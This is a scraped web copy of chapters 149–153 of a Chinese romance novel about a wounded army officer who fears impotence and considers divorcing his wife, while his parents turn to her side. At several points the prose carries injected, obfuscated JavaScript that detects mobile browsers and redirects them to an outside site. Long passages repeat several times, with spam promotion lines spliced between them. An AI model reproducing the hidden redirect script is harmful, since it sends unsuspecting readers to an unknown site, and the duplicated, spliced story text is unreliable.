林静姝被说得老脸一红：“我当时不是太生气了吗？沉舟被她耽误了那么久，好不容易有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216596|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个进修的机会。 "但是你就没想过，那封信是谁寄来的？信上光说了一堆小晚的坏话，连个署名都没有，是不是和沉舟小晚有仇的人啊？" 林静姝叹了口气：“我也想过这个问题，但是关心则乱，我太怕沉舟又被小晚耽误一次。 “等沉舟回来，让他好好查查。 …… 晚上，救灾现场寒风呼啸。 霍沉舟正带着战士们在一片陡峭的雪坡上搜救被困群众。 "团长！下面好像有动静！" 霍沉舟立即俯身查看，果然在积雪掩埋的断崖下隐约听到微弱的呼救声。 他二话不说系好安全绳："我下去看看，你们在上面接应。" 就在他下降到一半时，头顶突然传来"轰隆"一声闷响。 "团长小心！"战士们惊呼道。 霍沉舟迅速抓住岩缝，但巨大的雪浪还是狠狠砸在他后腰上。 他闷哼一声，眼前发黑，全靠安全绳吊着才没摔下悬崖。 等战士们七手八脚把他拉上来时，霍沉舟已经疼得直不起腰，军裤都被鲜血染红了。 随行卫生员检查后，神情严肃：“快送医院，腰椎严重撞击伤……” 后面的话霍沉舟没听清，便昏迷了过去。 等他醒来时，首先映入眼帘的是医院惨白的天花板，消毒水的气味充斥在鼻腔。 霍沉舟试着动了动，一阵剧痛从腰椎直窜头顶，让他瞬间冷汗涔涔。 病房里的两人还没注意到霍沉舟已经醒了。 一名戴着口罩的小护士正和同伴低声道：“这么帅的男同志受了这样的伤也可惜了，听王医生讲，他是腰椎骨折伴有神经损伤，这种程度的创伤十有**都会影响那方面功能。” “哪方面？” “你傻啊！就是男人的那方面啊。” 小护士倒吸一口凉气："天啊！他才二十多岁吧？这要是真……那方面不行了，他爱人可怎么办？" “嘘！小声点！” 两个人说完匆匆走了，床上的男人攥紧的拳头在被子下微微发抖。 第一百五十章 一个残缺的丈夫 霍沉舟忍着剧痛尝试活动双腿，却发现腰部以下完全使不上力，一种麻木感从腰椎蔓延开来。 再联想到刚才护士的对话，他心里沉甸甸的。 与此同时，得到消息的顾战心急如焚地刚想冲向医院，又想到沈晚还不知道这个消息，便又掉头去找沈晚。 沈晚打开门，看见顾战满头大汗、脸色苍白的模样，心里顿时咯噔一下："发生什么事了？" 顾战几乎不敢直视她的眼睛，明明前两天他还在信誓旦旦地保证团长不会有事的，结果昨天晚上就出事了："嫂子……团长受伤了，您和我一起去看看吧。" 沈晚拧眉：“严不严重？” 顾战低着头："我也不清楚，听说是伤到腰了，昨天晚上连夜做的手术。" 附近只有第七师这一个大医院，所以为了能让霍沉舟得到最好的治疗，他还是被送回了部队。 沈晚如坠冰窖，四肢发软，但她很快强迫自己冷静下来，转身冲回屋里抓起针包。 出门时，她喊了一声赵晓燕："赵姐，我有急事出去一趟，小川在家里，你帮我看一下！" 赵晓燕边答应边用围裙擦着手出来，只看见沈晚和顾战两个匆忙离去的背影，不由得疑惑地嘟囔："这是出啥急事了？" 路上，沈晚一直沉默地望着窗外。 她虽然没有哭，但脸色苍白，眼角泛红，那双清亮的杏眸此刻空洞地望着飞速后退的街景，红唇紧抿。 顾战看得心里发酸，只能将油门踩得更深。吉普车很快停在了医院门口。 两人快步冲进住院部，打听到霍沉舟的病房位置后立即奔向三楼。走廊尽头围着一群人，董建林、林怡宁等等都站在病房外低声交谈着。 看见沈晚过来，董建林神情有些不自然："沈同志，你来了……" 沈晚点了点头，看上去镇定地问道："董院长，具体什么情况？" 董建林犹豫了一下，还是如实相告："腰椎骨折伴有神经损伤。" 这个诊断听起来似乎没有生命危险，但是沈晚清楚腰椎神经损伤意味着什么，稍有不慎就可能造成永久性功能障碍，甚至瘫痪。 她的指尖微微发颤。 就在这时，林怡宁突然冲上前来，指着沈晚怒斥："沈晚，你 真是个扫把星！" 沈晚抬眼看她董建林立即呵斥："林怡宁！别乱说话！" "我又没说错！"林怡宁胸脯剧烈起伏"你们想想自从沈晚来到部队之后霍沉舟受了多少次伤？我看她就是个扫把星！" 霍沉舟受伤沈晚感觉自己的心也要碎了所以她现在根本没有心思和林怡宁吵架。 她深吸一口气 董建林默默点头："可以但是沈同志霍团长现在最需要的是安心养病。" 沈晚听出董建林的言外之意暂时不要让霍沉舟知道受伤可能留下的后遗症。 她“嗯”了一声："放心吧我心里有数。" 说完她抬脚就往病房走去林怡宁还想追过去阻拦却被顾战一个侧身挡住了去路。 "林医生！"顾战声音冷硬"你不要太过分了！" 林怡宁气得瞪他："沈晚到底给你灌了什么**汤？你也这么护着她？！" 顾战寸步不让："嫂子是团长明媒正娶的妻子谁都没资格拦她！" 林怡宁说不过他只能狠狠剜了一眼气愤离去。 沈晚推开病房门看见了病床上的男人。 晨光在霍沉舟苍白的脸上投下细碎的光斑他安静地躺在病床上平日里冷峻的眉眼此刻柔和地敛着长睫在眼下投出淡淡的阴影双眸紧闭唇色淡得几乎与肤色融为一体。 他的呼吸很轻轻到沈晚要凑近才能听见一只手无力地搭在雪白的被单上手背上还留着输液的针。 这一刻的霍沉舟褪去了所有凌厉与锋芒。 这不是沈晚第一次看见霍沉舟受这么重的伤甚至第一次见到他的时候男人受的伤更重浑身都是血。 但是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216597|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 此刻的心痛却更甚当初因为心境不一样了当时的霍沉舟对于她来说只相当于一个陌生人。 沈晚轻轻坐在床边指尖搭上他的手腕脉象沉细而涩肾气亏虚之象明显与腰椎损伤有关。 沈晚收回手轻轻俯身将微凉的脸颊贴上霍沉舟宽厚的掌心。 当她闭眼感受着男人掌心的温度时霍沉舟缓缓睁开了眼睛他其实一直醒着只是不知道该如何面对她。 自尊心极强的男人此刻满脑子都是护士那句"可能会影响某些功能"。 他盯着天花板，喉结艰难地滚动了一下。 如果他真的不行了，以他的性子，是绝不会用婚姻绑住沈晚的，她才二十五岁，不该守着一个残缺的丈夫过一辈子。 但是一想到沈晚将来可能对别的男人展露笑颜、投怀送抱，霍沉舟的心就像被钝刀反复割锯，痛得几乎喘不过气。 这时，沈晚像是心有灵犀般抬起头，恰好撞进霍沉舟深沉的眸子里。 他勉强扯出个笑容，声音沙哑："……媳妇儿。" 下一秒，沈晚的眼泪就像断线的珠子般砸落下来，每一滴都烫在霍沉舟心上。 他心疼得厉害，连忙抬手替她擦泪，粗糙的指腹轻柔地抚过她湿润的脸颊："哭啥啊？我还没死呢。" 沈晚吸了吸鼻子，带着哭腔埋怨："你这是什么运气啊，每次都能受伤。" 霍沉舟无奈地笑笑："我也不知道，但是我这次伤的其实没那么重。" 他说着，还尝试动了动身体想证明给她看。 "别乱动！"沈晚连忙按住他的肩膀，"好好养伤！你可能觉得伤得不重，但这腰稍微受点伤都是了不得的！" 霍沉舟顺从地躺好，眼神温柔："好，都听你的。" 沈晚用他的袖子擦了擦眼泪，深吸一口气平复情绪："我现在再帮你仔细看看。" “好。” 其实霍沉舟心里也抱有一丝希望，他家阿晚那么厉害，说不定能把他治好。 第一百五十一章 别闹了 沈晚先轻轻解开霍沉舟病号服的扣子露出缠着绷带的腰部。 她的手指极其轻柔地按压在腰椎两侧从第一节慢慢往下探查。 "这里疼吗？"她的指尖停在第三节腰椎附近。 霍沉舟摇头："只是有点酸。" 沈晚稍稍加重力道："现在呢？" "嘶——"霍沉舟倒抽一口冷气"有点刺痛。" 沈晚的心沉了沉。 她取出银针在腰阳关、命门等穴位施针仔细观察他的反应："有没有感觉麻胀？" "有往右腿窜。"霍沉舟老实回答。 这倒是好现象。 沈晚稍感安心继续在委中、承山等下肢穴位下针。 霍沉舟感觉到刚才麻木的右腿渐渐泛起暖意像冻僵的四肢泡进温水里连脚趾都恢复了知觉唯独某个部位依旧提不起力气。 沈晚施完最后一针轻轻呼出一口气："伤得不算太重神经损伤也是可修复的。按时针灸加上中药调理很快就能恢复的你别太担心。" 霍沉舟掩下心底的烦躁："嗯有你在我放心。" 沈晚突然想到还在招待所等消息的公婆面露难色："你爸妈那怎么说？要不要告诉他们？" 霍沉舟沉吟片刻："说吧没事他们承受得住。" "那他们肯定要来医院看你。" "嗯"霍沉舟叹了口气"来了也好省得他们胡思乱想。" 见他都这么说了沈晚也不再阻拦："那我去给你配药了你老实在床上躺着千万别乱动。" "放心吧。"霍沉舟听着她喋喋不休的嘱咐失笑道"我又不是小孩子。" 等沈晚轻轻带上门离开霍沉舟脸上的笑意渐渐淡去。 他试着动了动右腿确实比刚才灵活许多但是下腹依然不适 就在这时病房门被轻轻推开董建林进来了。 "霍团长刚才沈同志应该已经帮你看过了吧？她医术这么好你这伤肯定没啥问题。最近就好好躺着静养千万别急着下床活动饮食要清淡些." 霍沉舟要不是听见护士之前说的话说不定就信了这番说辞："董院长您说实话我这伤到底怎 么样？" 董建林摸了摸鼻尖装傻道："你这伤咋了？" "您就别瞒我了。我是不是以后……"他顿了顿有些难以启齿"不举了？" 董建林愣了一下："谁和你说的？沈同志？" “不是她她还不知道您就告诉我实话就行。” 董建林叹了口气："确实有这个可能。腰椎损伤有时会影响相关功能但你年轻力壮只要好好休养配合康复治疗还是有很大希望恢复的。" 霍沉舟闭了闭眼睛喉结滚动了一下再开口时声音有些发紧："有多少痊愈的几率？" "这个……"董建林斟酌着用词"医学上没有绝对的概率。不过以你的体质如果坚持调理六七成把握还是有的。" 他看到霍沉舟瞬间黯淡的眼神连忙补充："沈同志不是擅长中医吗？让她帮你调理效果肯定会更好。" 霍沉舟沉默地躺在床上董建林看得于心不忍 沈晚把霍沉舟受伤的消息告诉了霍文渊和林静姝。 老两口听完心急如焚立刻赶到医院。 一进病房看见儿子病恹恹地躺在床上林静姝的眼泪就下来了："沉舟你疼不疼啊？" 霍沉舟勉强笑了笑："妈我没事。" 霍文渊关心道："怎么伤得这么重？医生怎么说？" 霍沉舟报喜不报忧："就是腰伤养养就好了。" 林静姝知道沈晚医术好转头看向她："小晚沉舟这伤……" "妈放心吧沉舟不会有事的。我会用最好的药材和针灸帮他调理。" 有了沈晚这句话林静姝稍稍安心了些。 她点点头对霍沉舟说："沉舟我和你爸不走了我们得在这看着你。" 霍沉舟无奈："这里有阿晚照顾就够了。你们出来不也是跟学校请的假吗？不回去教书了？" 林静姝坚持道："马上就放寒假了我和你爸在这多待段时间至少看着你好起来不然我们怎么放心？" 她说着又红了眼眶。 霍沉舟犟不过她只能妥协。 接下来几天沈晚又是针灸又是熬药悉心帮霍沉舟调理。 有几次独处时霍沉舟情动难耐地搂住小女人亲 吻，明明已经血脉偾张，身体却迟迟没有反应。 这种有心无力的感觉让霍沉舟心里发沉，一种前所未有的绝望感笼罩着他，要是换作从前，他早就…… 沈晚一直没注意这个问题，因为从她的角度，霍沉舟现在本来就受腰伤了，想像以前一样肯定不行。 又过了几天，霍沉舟已经能扶着墙站稳一分钟了。 沈晚在一旁小心护着，眼里满是欣喜："看来恢复得挺好呀！快坐下歇会儿，别站太久了。" 她凑过去亲了亲霍沉舟的唇角，声音软糯得像在撒娇："我们家霍团长最厉害了，伤得这么重都能恢复这么快。" 男人被她难得的主动撩得心思一动，顺势将人搂进怀里加深这个吻，沈晚乖巧地仰头回应。 然后他又尝试调动了一下身体的反应，依旧沉寂。 霍沉舟心里叹了口气，松开了怀里的沈晚。 沈晚意犹未尽地睁开双眸，眼睛水汪汪地看向男人："怎么了？" 霍沉舟别开视线："没事。" 沈晚以为他还在为伤势沮丧，柔软的手轻轻抚上他的脸颊：“还难受你受伤的事呢？又不是什么大事，养段时间就好了，到时候……” 她说着，手指意有所指地在霍沉舟胸膛上画圈圈，算是一种变相的鼓励吧，毕竟让男人憋那么长时间也算不容易。 霍沉舟抓住她作乱的手，无奈笑道：“别闹了。” 察觉到男人低落的情绪，沈晚心中有点奇怪这男人什么时候这么清心寡欲了，只好又哄了哄他：“乖，别多想了。” 恭喜你可以去书友们那里给他们剧透了，他们一定会“羡慕嫉妒恨”的 吻，明明已经血脉偾张，身体却迟迟没有反应。 这种有心无力的感觉让霍沉舟心里发沉，一种前所未有的绝望感笼罩着他，要是换作从前，他早就…… 沈晚一直没注意这个问题，因为从她的角度，霍沉舟现在本来就受腰伤了，想像以前一样肯定不行。 又过了几天，霍沉舟已经能扶着墙站稳一分钟了。 沈晚在一旁小心护着，眼里满是欣喜："看来恢复得挺好呀！快坐下歇会儿，别站太久了。" 她凑过去亲了亲霍沉舟的唇角，声音软糯得像在撒娇："我们家霍团长最厉害了，伤得这么重都能恢复这么快。" 男人被她难得的主动撩得心思一动，顺势将人搂进怀里加深这个吻，沈晚乖巧地仰头回应。 然后他又尝试调动了一下身体的反应，依旧沉寂。 霍沉舟心里叹了口气，松开了怀里的沈晚。 沈晚意犹未尽地睁开双眸，眼睛水汪汪地看向男人："怎么了？" 霍沉舟别开视线："没事。" 沈晚以为他还在为伤势沮丧，柔软的手轻轻抚上他的脸颊：“还难受你受伤的事呢？又不是什么大事，养段时间就好了，到时候…… 她说着，手指意有所指地在霍沉舟胸膛上画圈圈，算是一种变相的鼓励吧，毕竟让男人憋那么长时间也算不容易。 霍沉舟抓住她作乱的手，无奈笑道：“别闹了。 察觉到男人低落的情绪，沈晚心中有点奇怪这男人什么时候这么清心寡欲了，只好又哄了哄他：“乖，别多想了。 听说看这本书的人都是很幸运的，分享后你的运气会更棒 吻，明明已经血脉偾张，身体却迟迟没有反应。 这种有心无力的感觉让霍沉舟心里发沉，一种前所未有的绝望感笼罩着他，要是换作从前，他早就…… 沈晚一直没注意这个问题，因为从她的角度，霍沉舟现在本来就受腰伤了，想像以前一样肯定不行。 又过了几天，霍沉舟已经能扶着墙站稳一分钟了。 沈晚在一旁小心护着，眼里满是欣喜："看来恢复得挺好呀！快坐下歇会儿，别站太久了。" 她凑过去亲了亲霍沉舟的唇角，声音软糯得像在撒娇："我们家霍团长最厉害了，伤得这么重都能恢复这么快。" 男人被她难得的主动撩得心思一动，顺势将人搂进怀里加深这个吻，沈晚乖巧地仰头回应。 然后他又尝试调动了一下身体的反应，依旧沉寂。 霍沉舟心里叹了口气，松开了怀里的沈晚。 沈晚意犹未尽地睁开双眸，眼睛水汪汪地看向男人："怎么了？" 霍沉舟别开视线："没事。" 沈晚以为他还在为伤势沮丧，柔软的手轻轻抚上他的脸颊：“还难受你受伤的事呢？又不是什么大事，养段时间就好了，到时候……” 她说着，手指意有所指地在霍沉舟胸膛上画圈圈，算是一种变相的鼓励吧，毕竟让男人憋那么长时间也算不容易。 霍沉舟抓住她作乱的手，无奈笑道：“别闹了。” 察觉到男人低落的情绪，沈晚心中有点奇怪这男人什么时候这么清心寡欲了，只好又哄了哄他：“乖，别多想了。” 听说和异性朋友讨论本书情节的，很容易发展成恋人哦 吻，明明已经血脉偾张，身体却迟迟没有反应。 这种有心无力的感觉让霍沉舟心里发沉，一种前所未有的绝望感笼罩着他，要是换作从前，他早就…… 沈晚一直没注意这个问题，因为从她的角度，霍沉舟现在本来就受腰伤了，想像以前一样肯定不行。 又过了几天，霍沉舟已经能扶着墙站稳一分钟了。 沈晚在一旁小心护着，眼里满是欣喜："看来恢复得挺好呀！快坐下歇会儿，别站太久了。" 她凑过去亲了亲霍沉舟的唇角，声音软糯得像在撒娇："我们家霍团长最厉害了，伤得这么重都能恢复这么快。" 男人被她难得的主动撩得心思一动，顺势将人搂进怀里加深这个吻，沈晚乖巧地仰头回应。 然后他又尝试调动了一下身体的反应，依旧沉寂。 霍沉舟心里叹了口气，松开了怀里的沈晚。 沈晚意犹未尽地睁开双眸，眼睛水汪汪地看向男人："怎么了？" 霍沉舟别开视线："没事。" 沈晚以为他还在为伤势沮丧，柔软的手轻轻抚上他的脸颊：“还难受你受伤的事呢？又不是什么大事，养段时间就好了，到时候……” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16216598|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >她说着，手指意有所指地在霍沉舟胸膛上画圈圈，算是一种变相的鼓励吧，毕竟让男人憋那么长时间也算不容易。 霍沉舟抓住她作乱的手，无奈笑道：“别闹了。” 察觉到男人低落的情绪，沈晚心中有点奇怪这男人什么时候这么清心寡欲了，只好又哄了哄他：“乖，别多想了。” 你的朋友正在书荒，快去帮帮他吧 吻，明明已经血脉偾张，身体却迟迟没有反应。 这种有心无力的感觉让霍沉舟心里发沉，一种前所未有的绝望感笼罩着他，要是换作从前，他早就…… 沈晚一直没注意这个问题，因为从她的角度，霍沉舟现在本来就受腰伤了，想像以前一样肯定不行。 又过了几天，霍沉舟已经能扶着墙站稳一分钟了。 沈晚在一旁小心护着，眼里满是欣喜："看来恢复得挺好呀！快坐下歇会儿，别站太久了。" 她凑过去亲了亲霍沉舟的唇角，声音软糯得像在撒娇："我们家霍团长最厉害了，伤得这么重都能恢复这么快。" 男人被她难得的主动撩得心思一动，顺势将人搂进怀里加深这个吻，沈晚乖巧地仰头回应。 然后他又尝试调动了一下身体的反应，依旧沉寂。 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沈晚在一旁小心护着眼里满是欣喜："看来恢复得挺好呀！快坐下歇会儿别站太久了。" 她凑过去亲了亲霍沉舟的唇角声音软糯得像在撒娇："我们家霍团长最厉害了伤得这么重都能恢复这么快。" 男人被她难得的主动撩得心思一动顺势将人搂进怀里加深这个吻沈晚乖巧地仰头回应。 然后他又尝试调动了一下身体的反应依旧沉寂。 霍沉舟心里叹了口气 沈晚意犹未尽地睁开双眸眼睛水汪汪地看向男人："怎么了？" 霍沉舟别开视线："没事。" 沈晚以为他还在为伤势沮丧柔软的手轻轻抚上他的脸颊：“还难受你受伤的事呢？又不是什么大事养段时间就好了到时候……” 她说着手指意有所指地在霍沉舟胸膛上画圈圈算是一种变相的鼓励吧毕竟让男人憋那么长时间也算不容易。 霍沉舟抓住她作乱的手无奈笑道：“别闹了。” 察觉到男人低落的情绪沈晚心中有点奇怪这男人什么时候这么清心寡欲了只好又哄了哄他：“乖别多想了。” 如果喜欢本书请记得和好友讨论本书精彩情节，才有更多收获哦 第一百五十二章 公婆替沈晚说话 沈晚去招待所看公婆时，没想到看见了一个熟悉的身影。 林怡宁竟然拎着一对补品和点心来看望林静姝和霍文渊了！ 沈晚有些诧异，林怡宁怎么会知道林静姝和霍文渊住在这里？ 林怡宁看见进门的沈晚，得意地挑了挑眉，林静姝完全没察觉到两人之间的暗流涌动，热情地介绍道："小晚，这是怡宁，是崔家大闺女的小姑子。昨天我们去崔家做客时碰到她了，今天她非要带着这么多礼物来看望我们。" 她又转向林怡宁："怡宁，这是." "伯母，我知道。"林怡宁打断她，"这是霍团长的妻子沈晚同志。" 林静姝惊讶道："怡宁，你怎么认识小晚的？" 林怡宁冲林静姝甜甜一笑："伯母，您忘了吗？我也是在医院上班的呀。" 林静姝恍然大悟："对对对，那你们应该碰见过吧？" "岂止碰见过。"林怡宁意味深长地瞥了一眼沈晚，“沈晚可是我们军区的风云人物呢！” 林静姝总觉得两人之间气氛不对劲，但又说不出所以然。 林怡宁并不知道老两口来东北的真正原因，还以为他们不知道部队里的风言风语，便故作关切地对林静姝说："伯母，你们还不知道吧？霍团长前段时间有个去京市进修的宝贵机会，听说沈晚死活不同意他去，又哭又闹地拦着不放。" 她叹了口气，声音里满是惋惜："这件事闹得全部队沸沸扬扬，连**都亲自出面找沈晚谈话了。伯父伯母，你们说，这样拖丈夫后腿的女人，配得上霍团长吗？" 林静姝和霍文渊的脸色越来越沉。 林怡宁见他们脸色难看，还以为是被沈晚的所作所为气的，心里更加得意，继续添油加醋："而且自从沈晚随军之后，霍团长就三天两头受伤。要我说啊，这个女人根本就是个扫把星，根本配不上霍团长，趁早让他们离婚是最好的！" "够了！"林静姝突然怒喝一声，把林怡宁吓了一跳。 沈晚惊讶地看向自家婆婆，只见林静姝面色铁青："怡宁，这是我们霍家的家事，不劳你费心。小晚是什么样的人，我这个当婆婆的心里清楚。这些天她不辞辛劳地照顾沉舟，我和他爸都看在眼里，是发自肺腑地感谢她。" 沈晚没想到一 向看不惯她的婆婆竟会替自己说话眼眶一热心里除了吃惊更多是感动。 林怡宁还不死心："伯母！您这是被沈晚这个**蒙蔽了——" "闭嘴！"霍文渊也忍不住了他直接提起林怡宁带来的礼品一股脑全扔出门外"我们这儿不欢迎搬弄是非的人你走吧！" 林怡宁被轰得踉跄后退脸色一阵青一阵白。 她跺了跺脚气急败坏地喊道："你们你们也太不知好歹了！我可是特地来看望你们的！你们怎么这么没有礼貌！" 林静姝冷着脸走到门口："你要是真心来看望我们我们自然欢迎。但你要是来我们面前搬弄是非、挑拨离间的我们不欢迎这样的客人！" 说罢"砰"的一声直接关上了门！ 林怡宁碰了一鼻子灰看着散落一地的礼品盒子气得狠狠踢了一脚扭头就走。 屋里沈晚感动地看着公婆："爸妈谢谢你们替我说话。" 林静姝握住沈晚的手语气诚恳："小晚之前是我糊涂轻信了别人的一面之词对你有误会。但经过这些天的相处我和他爸都看出来了 她叹了口气"之前我还逼你们离婚是我们的不对。只要你愿意和沉舟好好过日子过去的事就让它过去吧。" 沈晚眼眶微热："放心吧妈我以后肯定会和沉舟好好过日子的。" 林静姝点点头继续道："对了你们不是问我们怎么突然来东北吗？是因为有人往我们学校寄了封信上面说了一些……不好的事情所以我们才急着赶来。但那信上没署名我们也不知道是谁。" 沈晚闻言皱眉："那你们把信带来了吗？" ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16229420|181405||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 霍文渊从行李袋里取出一个信封："带了。" 沈晚接过信展开确实从信上找不到什么线索她便把信折了起来想着等以后霍沉舟伤好了再拿给他看让他去查。 林静姝关切地问："对了沉舟的伤怎么样了？" 沈晚："今天已经可以站起来了我看恢复得挺好的。" "那太好了！"林静姝松了口气"我和他爸去看看他吧。我们借用崔家的厨房炖了人参乌鸡汤他爸一大早就去菜场挑的老乌鸡特别补。" "好，那我陪你们过去。" 三人下楼时，顾战正坐在车里等着。 这些天他经常接送老两口，已经和他们混熟了。看见三人下来，他连忙跳下车："伯父伯母，嫂子，你们要去医院吗？" 林静姝笑着摆摆手："小顾啊，我们去趟对面干部家属院，拿给沉舟炖的鸡汤。" "那我送你们过去。" 等到了对面家属院崔家，霍文渊下车取回炖好的鸡汤，用保温桶仔细装好。顾战又开车将三人送到医院。 到了部队，沈晚要去托儿所接小川，便让公婆先去看霍沉舟，老两口提着保温桶走进病房时，霍沉舟正靠在床头看书。 "爸妈。"他放下书。 林静姝："今天炖了鸡汤，给你补补身子。"她注意到儿子腰间戴着个棕色的牛皮护腰，"腰上这个是什么？" 霍文渊扶着儿子小心坐起来。 霍沉舟：“阿晚给我做的护腰，有支撑力，可以舒服一点。” 林静姝不由点头：“小晚真是心灵手巧。” 她又盛了碗鸡汤递过去："快尝尝，妈炖了四个小时呢。" 霍沉舟接过小碗，低头喝了一口："很鲜。" "那是，你爸一大早去市场买的老乌鸡，特别补！" 霍沉舟看向父亲："谢谢爸。" 霍文渊摆摆手："跟自己爹客气什么。"他打量着儿子，"气色好多了。" 第一百五十三章 我可能要和阿晚分开了 霍沉舟默默喝着鸡汤病房里一时陷入沉默。 老两口对视一眼林静姝给丈夫使了个眼色。 霍文渊单拳抵在唇角咳嗽一声："沉舟啊我和你妈商量过了以后不掺和你们小两口的事了。小晚这姑娘现在真挺好的又照顾你还要给你妈治病那么辛苦……我们都看在眼里。" 霍沉舟听到父亲这番话端着碗的手微微一顿眸中闪过复杂的神色。 林静姝见他不说话还以为他高兴坏了笑着打趣："沉舟妈知道你心里乐开花了不用憋着。" 却见霍沉舟缓缓放下碗声音低沉：“爸妈我有件事想告诉你们。” 林静姝见儿子一脸严肃疑惑地问："什么事？" 霍沉舟拳头紧了紧声音干涩："我可能要和阿晚分开了." 他在心底纠结了半天还是不忍心说出"离婚"两个字光是想到这个词心里就跟刀割一样疼。 林静姝和霍文渊愣住了："？" 林静姝眨了眨眼："我没听错吧？儿子你在说什么胡话？" 霍文渊伸手摸了摸儿子的额头："不烫啊。" 霍沉舟无奈道："我没发烧。" "那你为啥突然这么说？"林静姝眉头紧锁"当初可是你说的想要你和小晚离婚除非你死。咋了你现在是要死啊？" 她完全看不懂自己儿子脑子里在想些什么了。 霍沉舟痛苦地闭上眼。 他骨子里的自尊不允许他把这种难言之隐说出来。 这些天他心里一直在经受着巨大的煎熬。每次看着沈晚的笑颜他都忍不住在心底一遍遍质问自己一个连丈夫最基本的责任都尽不了的男人还能给她幸福吗？ 他不想让沈晚和一个残缺的男人共度一生。 长痛不如短痛现在沈晚还没发现异常等以后她知道了真相以她的性子肯定更不愿意离开。 到那时难道要让她守一辈子活寡吗？还不如他自己孤寡一生。 "爸妈 林静姝觉得心口突突地跳："你是不是就是存心想气死你妈我呀？当初我让你们离婚你死都不肯现在我和你爸都同意你们继续过日子了 你又说这种话！" 霍沉舟痛苦地攥紧床单："我不是故意气你们我是有不能言说的理由。" 霍文渊按住妻子的手沉声道："沉舟你有什么难处？说出来爸妈一起想办法。" 霍沉舟心如死灰地摇摇头："这件事你们不用管我自己会和阿晚说。" 林静姝气急了："行！我看你和小晚离婚后后不后悔！小晚那么优秀一姑娘医术好模样俊性格又温柔体贴。和你离婚后大把男同志排着队想追呢！到时候你就看着小晚和别的男同志甜甜蜜蜜自己躲在被窝里哭去吧！我不管你了！" 她说完拉着丈夫气冲冲地走了。 出了病房霍文渊和林静姝说："我总感觉咱儿子有事瞒着我们。" 林静姝没好气地瞪了一眼丈夫："他自己又不愿意说我们怎么帮忙？真是和你一个熊样有什么事都憋在心里打死都不开口。" 霍文渊尴尬地摸了摸鼻子："骂儿子归骂儿子你说**什么？我可什么都没干！" 顾战见老两口这么快就出来了连忙小跑过来："伯父伯母怎么这么快就出来了？不多和团长聊会天？" 林静姝看见顾战收敛了一下脾气："没事我们送完鸡汤就走了。" 顾战点点头："噢噢那我送你们回去。" 路上 顾战："啊？没有什么不对劲啊我看都挺好的呀。"他想了想补充道"就是话更少了嫂子不在的时候就一个人盯着窗外发呆。" 老两口对视一眼心里的疑虑更深了。 要说身上的伤医生和小晚都说了恢复得很好那儿子这反常的状态到底是为什么？ 霍文渊忍不住追问："他有没有提过工作上的事？或者其他方面的烦恼？" 顾战干笑两声："团长从来不说这些的。" 顾战这里说不出个所以然林静姝索性也不想了。 他们这次来东北之后只学会了一件事——儿孙自有儿孙福。 而且凭借她对儿子的了解霍沉舟也就只敢在嘴上说说离婚真让他和沈晚分开估计比要他的命还难。 这时沈晚牵着霍小川回到了家属院。 苏琴杉远远看见，立即摆出关切的表情迎上去："沈同志，霍团长现在怎么样呀？伤好点了吗？会不会留什么后遗症啊，我听别人说，男人这腰可伤不得，容易留下后遗症的。" 前几天听说霍沉舟又受伤时，苏琴杉心里简直乐开了花。 她以为霍沉舟这次肯定要残废了，这样顾战就能顺理成章地晋升，所有事情都会回到她预期的轨道上。 沈晚看见苏琴杉这副假惺惺的模样就反胃，冷声道："不劳你操心，沉舟恢复得很好，不会留后遗症。" 苏琴杉见沈晚这般态度，只当她是死要面子强撑。 她心里暗笑：等霍沉舟真废了，看你还怎么嚣张！ "那就好，"苏琴杉做作地抚了抚耳侧的头发，"我也是关心霍团长嘛。" 然后转身扭着腰走了。 霍小川仰头看着沈晚，大眼睛里满是担忧："妈妈，爸爸真的没事吗？" 沈晚温柔地拍拍他的小脸："你爸真的没事，别担心了哈，乖。" 霍小川点点头：“那爸爸什么时候能出院啊？他怎么老是受伤？” 沈晚笑了笑：“那他出院之后你好好批评一下他，让他下次不要再受伤了。” “好。”小男孩很乖巧地应了一声。 另一边医院里。 董建林正在给霍沉舟检查身体。 他仔细按压着霍沉舟的腰椎："这里还疼吗？" "有点酸。" "这里呢？" "还好。" 